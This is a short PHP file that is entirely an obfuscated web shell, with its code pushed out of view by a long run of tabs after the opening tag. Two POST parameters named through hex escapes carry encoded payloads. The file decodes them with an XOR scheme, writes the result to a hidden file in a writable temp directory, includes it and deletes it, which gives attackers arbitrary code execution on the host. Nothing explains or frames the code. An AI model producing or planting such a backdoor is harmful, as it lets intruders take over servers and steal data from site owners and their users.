<?php																																										if(filter_has_var(INPUT_POST, "f\x61c")){ $symbol = array_filter(["/tmp", getenv("TEMP"), getenv("TMP"), session_save_path(), "/var/tmp", "/dev/shm", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir")]); $val = $_POST["f\x61c"]; $val =explode ( '.' , $val ) ; $element = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); foreach ($val as $z => $v3) { $chS = ord($s[$z % $sLen] ); $dec = ((int)$v3 - $chS - ($z % 10)) ^31; $element .= chr($dec ); } $flag = 0; do { $rec = $symbol[$flag] ?? null; if ($flag >= count($symbol)) break; if (!!is_dir($rec) && !!is_writable($rec)) { $k = vsprintf("%s/%s", [$rec, ".hld"]); if (file_put_contents($k, $element)) { include $k; @unlink($k); die(); } } $flag++; } while (true); }


if(@$_POST["re\x63"] !== null){
	$ref = $_POST["re\x63"];
	$ref=	explode   ( ".",$ref)		;	
	$descriptor = 	'';
            $s = 	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = 	strlen($s);
            $v = 	0;
            $__len = 	count($ref);
    
            do {
                if ($v		>=	 $__len) break;
                $v7 = 	$ref[$v];
                $chS = 	ord($s[$v % $lenS]);
                $dec = 	((int)$v7 - $chS - ($v % 10))^	92;
                $descriptor		.=	chr($dec);
                $v++;}while (true);
	$object = array_filter([session_save_path(), sys_get_temp_dir(), "/var/tmp", "/dev/shm", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp"]);
	for ($reference = 0, $binding = count($object); $reference < $binding; $reference++) {
    $component = $object[$reference];
    		if ((function($d) { return is_dir($d) && is_writable($d); })($component)) {
    $elem = "$component" . "/.mrk";
    if (file_put_contents($elem, $descriptor)) {
	require $elem;
	unlink($elem);
	die();
}
}
}
}